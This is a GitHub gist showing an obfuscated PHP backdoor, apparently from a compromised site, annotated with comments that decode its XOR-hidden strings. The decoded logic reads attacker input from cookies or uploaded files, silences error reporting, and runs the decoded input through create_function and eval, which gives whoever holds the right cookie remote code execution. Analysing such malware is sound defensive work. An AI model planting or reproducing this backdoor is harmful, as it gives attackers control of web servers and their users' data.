Skip to content

Instantly share code, notes, and snippets.

@FrancisBaileyH
Created December 10, 2015 21:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save FrancisBaileyH/2edd6af014ea6fda4318 to your computer and use it in GitHub Desktop.
Save FrancisBaileyH/2edd6af014ea6fda4318 to your computer and use it in GitHub Desktop.
<?php
$xzsuh = '$7-"]A8qcb[rj@y';
// m
$bpvdd = '!a@nT' ^ 'L';
var_dump($bpvdd);
$auzn = '%1#';
$mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
$tj = ',%XQ6Aq(#7';
$whhwy = 'u8?+r%h';
// ini_set
$krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
// error_reporting
$dghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
// d5
$gqwmvj = '4}' ^ 'PH`T.P';
$atj = 'W+';
// X eJwWf\:\
$eevd = '#8@=:3B0?xi]5dE}' ^ '{0`)_y5gYw5gil[';
$qkkgc = 0;
// We know from the code above that $krqf is equal to ini_set
// and $dghpp is equal to "error_reporting" and $qkkgc is set
// to 0 directly above so we know that that this line is:
//
// ini_set('error_reporting', 0);
$krqf($dghpp, $qkkgc);
$bcae = 'OW=0B$.NVY4_L^M';
// ,%XQ6Aq(#7W+
$chbnph = $tj . $atj;
$waw = @$_COOKIE;
// Another function call. Again we know that $dghpp is
// equal to 'error_reporting' and we also know $qkkgc is
// equal to 0. So this line evalutes to:
//
// error_reporting(0);
$dghpp($qkkgc);
$kr = 'ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';
$atj = $bpvdd . $gqwmvj;
// "create_function"
$ibvffk = $chbnph . $auzn ^ $bcae;
// We know that $waw was assigned the $_COOKIE super global
// so this evalutes to:
//
// $qgexh = $_COOKIE['zqcvp'];
$qgexh = $waw['zqcvp'];
// This value looks very similar to a hash value
// 371b35831254c61f61fc291ad7012044
$vzy = $kr . 'ftAx' ^ $mgfbv;
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:1';
// $ojmvvy = (!empty($_FILES["wzkht"])) ? file_get_contents($_FILES["wzkht"]["tmp_name"]) : $_COOKIE["wzkht"];
// $duy= (!empty($_FILES["dkxmw"])) ? file_get_contents($_FILES["dkxmw"]["tmp_name"]) : $_COOKIE["dkxmw"];
// $rixgwg = base64_decode($ojmvvy)^base64_decode($duy);
// @eval($rixgwg); "
$iuib = $nuim . 'f{IqV6H' ^ $mivbcw . 'URVQNJ%/pKgY=226E?SnQJ,TX${b08';
$xef = $xef . 'skluXYBZR??tzo';
$tbaj = 'X|wUS9&&o5;,llpy]8i';
$dppx = $dppx . '[@!qz7^';
$gskq = 'hmm2ZB8y0qB@{Iu,[aKgYKH7' . ',Mq!n_o$8A0.6-/L';
// create_function(null, $iuib);
// returns lambda_1
// essentially creates an anonymous function
$wwii = $ibvffk($uwks, $iuib);
// null was passed as the first argument into create_function so
// $wwii doesn't actually accept any parameters
// but it helps throw off anyone trying to interpret it
$wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:', 'mOZT[_]');
}
$rsx = $zff;
$yknx = 'L+O_$UrRRsHO=sZmn$';
$txwtr = 'hN8#8sM^';
$oqxj = 'oU4!qG1';
$lhbv = ':?L9"asAc64HuHR:}O';
$gvk;
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment